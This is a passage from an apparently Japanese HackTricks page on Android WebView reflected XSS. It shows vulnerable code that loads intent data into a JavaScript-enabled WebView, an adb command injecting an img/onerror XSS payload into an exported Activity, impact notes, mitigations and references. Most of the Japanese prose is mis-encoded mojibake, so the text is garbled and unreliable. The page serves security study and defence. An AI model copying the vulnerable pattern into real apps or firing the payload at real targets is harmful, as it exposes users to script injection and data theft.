WebView webView = findViewById(R.id.webview);
webView.getSettings().setJavaScriptEnabled(true);
webView.setWebChromeClient(new WebChromeClient());
String userInput = "\n\n# Welcome\n\n" + "\n\n" + data + "\n\n";
webView.loadData(userInput, "text/html", "UTF-8");
ãã® Activity ã exportedïŒãŸã㯠exported proxy çµç±ã§å°éå¯èœïŒã§ããã°ãæªæã®ããã¢ããªã¯ data extra ã« HTML/JS ãæž¡ã㊠reflected XSS ãåŒãèµ·ããããšãã§ããŸã:
# Replace package/component with the vulnerable Activity
adb shell am start -n com.victim/.ExportedWebViewActivity --es data '<img src=x onerror="alert(1)">'
圱é¿
- ã¢ããªã®WebViewã³ã³ããã¹ãå
ã§ä»»æã®JSå®è¡:
@JavascriptInterfaceããªããžãåæ/å©çšããWebViewã®ã¯ãããŒ/ããŒã«ã«ã¹ãã¬ãŒãžãžã¢ã¯ã»ã¹ãèšå®ã«å¿ããŠfile://ãcontent://ãžããããããã
ç·©åç
- Intentç±æ¥ã®å
¥åã¯ãã¹ãŠä¿¡çšããªãæ±ãã«ãããEscape (
Html.escapeHtml) ãããHTMLãæåŠããïŒä¿¡é Œã§ããªãããã¹ãã¯HTMLã§ã¯ãªãããã¹ããšããŠã¬ã³ããªã³ã°ããããšãåªå ããã - JavaScriptã¯å³å¯ã«å¿
èŠãªå Žå以å€ç¡å¹ã«ãããä¿¡é Œã§ããªãã³ã³ãã³ãã«å¯ŸããŠ
WebChromeClientãæå¹ã«ããŠã¯ãããªãã - ãã³ãã¬ãŒãåãããHTMLãã¬ã³ããªã³ã°ããå¿
èŠãããå Žåã¯ãå®å
šãªbaseãšCSPãæå®ããŠ
loadDataWithBaseURL()ã䜿çšããïŒä¿¡é Œæžã¿/æªä¿¡é Œã®WebViewsãåé¢ããã - Activityãå€éšã«å ¬éããªãããäžèŠãªå Žåã¯æš©éã§ä¿è·ããã
é¢é£
- See Intent-based primitives and redirection in: Intent Injection
åè
- Review of Android WebViews file access attack vectors
- WheresMyBrowser.Android (demo app)
- Android WebView reference
- Deep Links & WebViews Exploitations â Part II
- Deep Links & WebViews Exploitations â Part I
- Samsung S24 Exploit Chain Pwn2Own 2024 Walkthrough
- Pwn2Own Ireland 2024 â Samsung S24 attack chain (whitepaper)
- Demonstration video
- Android Intents (1/2): how they work, security, and attack examples â Mobeta
- Account takeover in Android app via JSB â tuxplorer.com
- LSPosed â systemless Xposed framework
- Frida codeshare: Cordova â enable WebView debugging
Tip
AWSãããã³ã°ãåŠã³ãå®è·µããïŒ
HackTricks Training AWS Red Team Expert (ARTE)
GCPãããã³ã°ãåŠã³ãå®è·µããïŒHackTricks Training GCP Red Team Expert (GRTE)
Azureãããã³ã°ãåŠã³ãå®è·µããïŒ
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksããµããŒããã
- ãµãã¹ã¯ãªãã·ã§ã³ãã©ã³ã確èªããŠãã ããïŒ
- **ð¬ Discordã°ã«ãŒããŸãã¯ãã¬ã°ã©ã ã°ã«ãŒãã«åå ããããTwitter ðŠ @hacktricks_liveããã©ããŒããŠãã ããã
- HackTricksããã³HackTricks Cloudã®GitHubãªããžããªã«PRãæåºããŠãããã³ã°ããªãã¯ãå ±æããŠãã ããã


